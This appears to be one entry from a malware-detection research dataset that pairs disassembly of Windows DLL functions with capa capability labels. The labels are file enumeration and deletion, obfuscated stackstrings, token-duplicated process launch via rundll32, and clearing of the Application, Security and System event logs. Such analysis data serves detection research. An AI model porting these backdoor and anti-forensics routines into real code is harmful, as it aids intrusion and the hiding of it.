joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004820
Capabilities:
Enumerate files on windows
Packed with generic packer

Disassembly:
sub esp, 0x25c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
mov ebp, ecx
mov edi, 0x2800
push 0x30
mov dword [esp + 0x28], ebp
mov dword [ebp + 0x1c], 0
mov dword [esp + 0x24], edi
call esi
add esp, 4
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov al, 0x2a
mov byte [esp + 0x17], al
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x270]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x16c]
push ecx
push edx
mov byte [esp + 0x20], 0x25
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x26], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call esi
add esp, 0x10
lea eax, [esp + 0x28]
lea ecx, [esp + 0x168]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x30
mov dword [esp + 0x20], eax
call esi
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, 0xffffffff
jne 0x100048e4
lea edx, [esp + 0x13]
push 1
push edx
mov ecx, ebp
mov byte [esp + 0x1b], 0x68
call fcn.100087a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 4
mov byte [ebx], 0x68
mov ebp, 1
jmp 0x100048f2
mov edi, dword [esp + 0x20]
lea eax, [edi - 0x208]
cmp ebp, eax
jbe 0x1000491a
jmp loc.1002339b
mov edi, 0x1001b350
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x1000494b
test al, al
je 0x10004947
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x1000494b
add esi, 2
add edi, 2
test al, al
jne 0x10004923
xor eax, eax
jmp 0x10004950
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100049ea
mov edi, 0x1001b34c
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10004989
test al, al
je 0x10004985
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10004989
add esi, 2
add edi, 2
test al, al
jne 0x10004961
xor eax, eax
jmp 0x1000498e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100049ea
mov al, byte [esp + 0x28]
lea ecx, [esp + 0x54]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x54]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x44]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x48]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x3c]
add ebp, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x40]
mov dword [ebx + ebp + 4], eax
add ebp, 8
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100048ee
mov ecx, dword [esp + 0x24]
push ebp
push ebx
call fcn.100087a0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 4
Function at 0x10004a30
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively
Packed with generic packer

Disassembly:
sub esp, 0x480
mov dword [esp + 0x2c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x494]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x40], eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
lea edx, [esp + 0x10]
push esi
lea eax, [esp + 0x188]
push edx
push eax
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x44]
lea edx, [esp + 0x184]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004b55
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp loc.100225db
Function at 0x10004be0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x38]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push closesocket
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x10004cd5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x38]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.100087a0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10004d70
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
mov ebx, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 0xa], al
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push ebp
mov byte [esp + 0x1d], cl
mov byte [esp + 0x22], cl
mov byte [esp + 0x23], cl
mov byte [esp + 0x14], cl
lea eax, [esp + 0xc]
push edi
lea ecx, [esp + 0x1c]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x26], dl
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1e], 0x46
mov byte [esp + 0x1f], 0x69
mov byte [esp + 0x22], 0x41
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [esp + 0x30]
cmp dword [edi + 4], 0xffffffff
jne 0x10004e23
mov ecx, ebx
call fcn.10004ef0
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea edx, [ebx + 0x20]
push closesocket
push edx
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004e4d
pop edi
pop ebp
or eax, eax
pop ebx
add esp, 0x20
ret 4
mov eax, dword [edi + 4]
push esi
push 0
push edi
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
jmp loc.10022802
Function at 0x10004f70
Capabilities:
Packed with generic packer

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10015e49
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2c]
mov ebp, ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
jne 0x10004fc0
push esi
mov ecx, ebp
call fcn.10005090
mov eax, dword [ebp + 0x18]
xor ebx, ebx
cmp eax, ebx
jne 0x1000505f
mov ecx, ebp
call fcn.100052c0
jmp 0x10005078
mov al, byte [esp + 0x2c]
push edi
mov byte [esp + 0x10], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], ebx
push ecx
push esi
lea ecx, [esp + 0x18]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov edi, dword [ebp + 0x14]
lea esi, [ebp + 0x10]
mov dword [esp + 0x28], ebx
mov ecx, dword [edi + 4]
push ecx
push edi
mov ecx, esi
call fcn.10005870
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
lea edx, [esp + 0x10]
mov dword [ecx], eax
add eax, 8
push edx
push eax
call fcn.100058c0
mov edx, dword [esi + 8]
mov eax, dword [esp + 0x1c]
add esp, 8
inc edx
cmp eax, ebx
mov dword [esi + 8], edx
mov dword [esp + 0x28], 0xffffffff
pop edi
je 0x10005053
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x1000504a
cmp al, 0xff
je 0x1000504a
dec al
mov byte [ecx], al
jmp 0x10005053
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
jmp loc.1002326a
mov ecx, dword [esp + 0x1c]
pop esi
pop ebp
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 4
Function at 0x10005440
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x10005503
sub eax, 2
je 0x100054fc
sub eax, 2
je 0x100054f5
mov esi, ecx
jmp 0x10005508
mov esi, 5
jmp 0x10005508
mov esi, 3
jmp 0x10005508
mov esi, 1
lea edx, [esp + 0x3c]
lea ebp, [edi + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x10005575
cmp esi, 1
jne 0x1000554b
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x1000558a
cmp esi, 3
jne 0x10005561
xor edx, edx
mov esi, 2
jmp 0x10022ae6
cmp esi, 5
jne 0x10005586
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x1000558a
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x1000558a
mov esi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebp
call ebx
cmp eax, 0xffffffff
jne 0x100055c3
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, edi
call fcn.100087a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x100055f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x54
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x38]
lea ecx, [esp + 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x2c]
lea eax, [esp + 0x54]
push edx
push eax
mov byte [esp + 0x5c], 0x6b
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], 0x6e
mov byte [esp + 0x60], bl
mov byte [esp + 0x61], 0x6c
mov byte [esp + 0x62], 0x33
mov byte [esp + 0x63], 0x32
mov byte [esp + 0x64], 0x2e
mov byte [esp + 0x65], 0x64
mov byte [esp + 0x66], 0x6c
mov byte [esp + 0x67], 0x6c
mov byte [esp + 0x68], 0
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x72
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x46
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0
call ebp
push eax
call esi
mov ebx, dword [esp + 0x68]
push 0
push 0x80
push 3
mov ecx, dword [ebx]
mov ebp, dword [ebx + 4]
push 0
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
push 2
lea edx, [edi + 0x20]
push 0x40000000
push edx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x6c]
lea ecx, [esp + 0x1c]
push 0
add edx, 0xfffffff8
push ecx
add ebx, 8
push edx
push ebx
push esi
call dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add ecx, ebp
lea edx, [esp + 0x20]
mov dword [esp + 0x25], ecx
push 9
push edx
mov ecx, edi
mov byte [esp + 0x28], 0x70
mov dword [esp + 0x29], eax
call fcn.100087a0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret 8
Function at 0x10005d40
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x274
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateEnvironmentBlock
push str.Userenv.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.WTSEnumerateSessionsA
push str.Wtsapi32.dll
mov ebp, eax
call esi
push eax
call edi
xor ebx, ebx
mov esi, eax
cmp ebp, ebx
je 0x10005f05
cmp esi, ebx
je 0x10005f05
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], bl
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001e65c]
push 0x104
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edx, [esp + 0x14]
push edx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x10]
push eax
push 1
push 1
push ebx
push 0x2000000
push ecx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
lea edx, [esp + 0x18]
lea eax, [esp + 0x20]
push edx
push eax
push 1
push ebx
push ebx
mov dword [esp + 0x2c], ebx
call esi
mov edx, dword [esp + 0x18]
xor eax, eax
cmp edx, ebx
mov dword [esp + 0x1c], ebx
jbe 0x10005e32
mov esi, dword [esp + 0x20]
lea ecx, [esi + 8]
cmp dword [ecx], ebx
je 0x10005e28
inc eax
add ecx, 0xc
cmp eax, edx
jb 0x10005e1a
jmp 0x10005e32
lea ecx, [eax + eax*2]
mov edx, dword [esi + ecx*4]
mov dword [esp + 0x1c], edx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push 4
push eax
push 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x3c]
xor edx, edx
rep stosd dword es:[edi], eax
mov eax, dword [0x1001b370]
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], edx
push eax
lea ecx, [esp + 0x80]
mov dword [esp + 0x38], edx
push 0x1001e440
push ecx
lea edx, [esp + 0x18c]
push str.rundll32.exe___s__Runing__s:_d
push edx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x54], str.WinSta0Default
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x24]
add esp, 0x14
lea ecx, [esp + 0x24]
push ebx
push eax
push ecx
call ebp
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x28]
lea eax, [esp + 0x38]
push edx
push eax
mov eax, dword [esp + 0x18]
push ebx
push ecx
push 0x430
push ebx
push ebx
lea edx, [esp + 0x19c]
push ebx
push edx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ecx, dword [esp + 0x28]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x14]
push eax
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x274
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x274
ret
Function at 0x100068e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10006902
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000cd10
add esp, 8
test al, al
jne 0x10006916
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1001b3fc
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x100069f0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006a40
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10006a27
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006ac0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10008680
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001744c
je 0x10006ae9
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10006afb
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10006b0b
push eax
push 0x1001e440
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x10006230
push 0
mov dword [0x1001b370], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18
Function at 0x10007140
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret